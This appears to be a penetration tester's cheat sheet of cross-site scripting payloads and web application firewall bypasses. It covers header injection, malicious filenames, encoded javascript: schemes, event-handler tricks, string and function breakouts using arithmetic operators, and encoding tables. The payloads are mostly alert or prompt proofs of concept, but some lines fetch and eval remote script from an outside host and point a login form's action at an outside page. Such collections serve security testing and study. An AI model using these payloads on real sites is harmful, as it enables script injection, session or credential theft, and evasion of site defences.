So many ways to alert/prompt/confirm that have the bypasses for Web Application Firewalls
- https://gist.github.com/awillard1/9f8ed06a4d7c59c97e3425eb7d7abaa1
- https://gist.github.com/awillard1/fe774b5783cd1e3c11f4a9345e8763ca
- https://gist.github.com/awillard1/63ab26a237bc8cd83a42e2ba641482c3
- https://gist.github.com/awillard1/92f776eed001827240138adf60c9971c
- https://gist.github.com/awillard1/c31083c40377036267a08c25d2e88f2e
- https://gist.github.com/awillard1/071998cd626451b0c778c047cead9f3e
- used for gist with id 9f8ed06a4d7c59c97e3425eb7d7abaa1, fe774b5783cd1e3c11f4a9345e8763ca, 7e1f961797b894f5891e00ba7ea3e755
- https://gist.github.com/awillard1/aecb84336d317f242853aabdfd3864fc
- used for gist with id 8a2343781626d5cfae62285d3681fee5
- https://gist.github.com/awillard1/374edbee16866b257fafa8b10792eb64
- used for gist with id c31083c40377036267a08c25d2e88f2e, 92f776eed001827240138adf60c9971c, 63ab26a237bc8cd83a42e2ba641482c3
You can get a reflected XSS via the content-type request header if you inject:
Content-Type: %{(#_='multipart/form-data')}<script>alert(document.domain)</script>
This has been a trick I have used for years. When I am lazy, I find my trusty file
<img src=a onerror=prompt()>.pdfLinux allows you to create this file. Windows, well they don't. Use this if you are lazy like me.
touch "<img src=a onerror=prompt()>.pdf"<img src='https://www.aswsec.com/pen-test/simplejs.php' style='width:1;height:1' onerror='fetch(this.src).then((r)=>r.text()).then((t)=>{eval(t);})'>
A recent vulnerability that was achieved was due to a bypass with how the payloads were evaluated. Using :, %0A, %0D and %09 between the javascript and colon allowed the injection of XSS. The code was looking for javascript: but since the payload ended up in the href surrounded by quotes we could do the following:
javascript:alert(document.domain);
javascript%0A:prompt(document.domain)
javascript%0D:prompt(document.domain)
javascript%09:prompt(document.domain)
It is important to remember how HTML parses tabs, carriage returns and line feeds within attributes of an element. In this application the %0A,%0D and %09 were rendered, not as their encoding, allowing the HTML to be syntactically correct.
A lot of applications attempt to strip known events. An application was looking for on but there was a bypass. Check for ways to bypass the checks.
The one that worked in that application was:
on/onclick=alert(document.domain)
Try encoding onclick as
%26%23X6f%26%23X6e%26%23X63%26%23X6c%26%23X69%26%23X63%26%23X6b
%0A,%1A,%0B,%1B,%0C,%1C,%0D,%1D,%0E,%1E,%0F,%1F may be able to help you
http://yourhost/blah?Parameter="><a href="%0F%1Fjavascript:prompt(document.domain)">asdf
http://yourhost/blah?Parameter="><iframe src="%0F%1Fhttps://www.aswsec.com/"></iframe>
http://yourhost/blah?Parameter="><script src="%0B%1Fhttps://www.aswsec.com/pen-test/simple.js"></script>If you are able to break a string in a script block:
"*this.open('https://www.aswsec.com')*Did they block onerror onload onclick? It is important to remember that the basic events work even with elements not part of html. Try something like this:
<XXXXXXX ondblclick=prompt(document.domain)>Some Text, Don't even care to end the tag either.If you just need to break out for Proof of Concept and can't use a > to close your tag, this will utilize the " or ' in your injection depending on the developer's choice for the attribute you are breaking.
" onclick="prompt(document.domain)
' onclick='prompt(document.domain)WAF got you down? There are a ton of bypasses, look at HTML5 for more ideas also (Just remember IE vs Firefox and HTML5 support.
<body onpageshow="prompt(document.domain)">
<details open ontoggle="prompt('xss via toggle')">Toggle Me For More prompts</details>
<details/open/ontoggle="alert`1`">
<video onmouseenter=prompt(document.domain)>
<video onwheel=prompt(document.domain)>
<math><maction actiontype="statusline"
xlink:href="http://www.aswsec.com/pen-test/x.svg">CLICKME<mtext></mtext></maction>
<button/formaction=https://www.aswsec.com/pen-test/validateLogin.html>Login<!--Here you will find a great resource: https://html5sec.org/
Here you will find more ideas: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
";prompt(document.domain);//
';prompt(document.domain);//What if they are in a function? Break out of it. Count the brackets, etc to kill the function.
"};prompt(document.domain);//You may need to reconstruct the function
"};prompt(document.domain);function whatever(){//Sometimes you can't reconstruct but you can make the Javascript right
"},function(data){});prompt(document.domain);(//
Don't forget %0D%0A if you need a new line and it renders as a new line
If one of the following does not get encoded; you possibly can use them to execute XSS.
+ Addition
- Subtraction
* Multiplication
** Exponentiation
/ Division
% Modulus (Remainder)
++ Increment
-- Decrement
EXTREMELY Useful if you can't use ; or // to escape your function calls. You may have to reconstruct your functions using ') or matching the total number of parameters and you may have to clean up the end by calling the function again and passing useless data, but your javascript has to be correct.
This could be your element that you can break:
<a href="#" onclick="somefunction('DataRenderedNotSanitized');">Good Times</a>Maybe your input allows you to inject the following:
')+alert('aswsecThis would lead to
<a href="#" onclick="somefunction('DataRenderedNotSanitized')+alert('aswsec');">Good Times</a>If you copy the two alerts and paste into the Console of the web browser, execute and get two alerts and value of NaN
alert(1)+alert(2)The + ; [space] may get encoded to %2b %3b and %20; however, + may also may render as %20 so you'd have to force %2b.
I identified I could break out of window.open with ') but all the usual ; + use cases ended up encoded.
Using Arithmetic, you can ')/alert(document.domain)// and that will execute the XSS. Notice the .com')/alert(document.domain)//
The first / is division and the // comments out the rest of the data in onClick.
<a href="javascript:{}" onClick="window.open('https://www.aswsec.com')/alert(document.domain)//&OLDURL', 'stuff',
'width=860,height=500,location=0;0,toolbar=no,menubar=no,scrollbars=yes,resizable=yes')">preview</a>a'*prompt(document.domain)*'
<script>
var a = 'a'*prompt(document.domain)*'a';
var b = "a"*prompt(document.domain)*"a";
</script>http://yourtarget/whatever?a=<a%20&a=%20onclick=prompt(document.domain)%20&a=%20>adsf
That would render potentially
<a , onclick=prompt(document.domain) , >asdfhttps://www.w3.org/TR/html52/single-page.html
<details/open/ontoggle=prompt(document.domain)><IMG SRC=1 ONERROR=alert(1)>
<IMG SRC=1 ONERROR =alert(1)><a/href="data:text/html;charset=utf-8,<script>alert(document.domain)</script>">Just Interesting</a>A lot of times you will notice that " or ' has become %22 or %27 in Chrome, Firefox, Opera etc. But did you try Internet Explorer. Many times you can get an Internet Explorer only XSS due to how the browser works.
<xxxxxx onmouseover=confirm(/Mouse Test It/.source)>Example 123
<img src=a onerror="self['prompt'](2)">%3c -- <
%3e -- >
%2b -- + (this is important for sql injection)
%26%2360; -- <
%26%2362; -- >
%26%23X3C -- <
%u003C -- <
\u003C -- <
\x27 -- '
%26lt; or %26lt -- <
%26gt; or %26gt -- >
Html Tags Blocked as a payload could be (adjustment might need to be made if it blocks = ( ) or even modify the %3C and %3E)
"3E%3C%26%23X69%26%23X6d%26%23X67%20src=a%20onerror=alert(document.domain)%3E
%5cx27%26%23X3E%26%23x3c%26%23X73%26%23X63%26%23X72%26%23X69%26%23X70%26%23X74%3Ealert(document.domain)%26%23x3c%2F%26%23X73%26%23X63%26%23X72%26%23X69%26%23X70%26%23X74%26%23x3E
Double Encoding Example
%253c
Triple Encoding
%25253c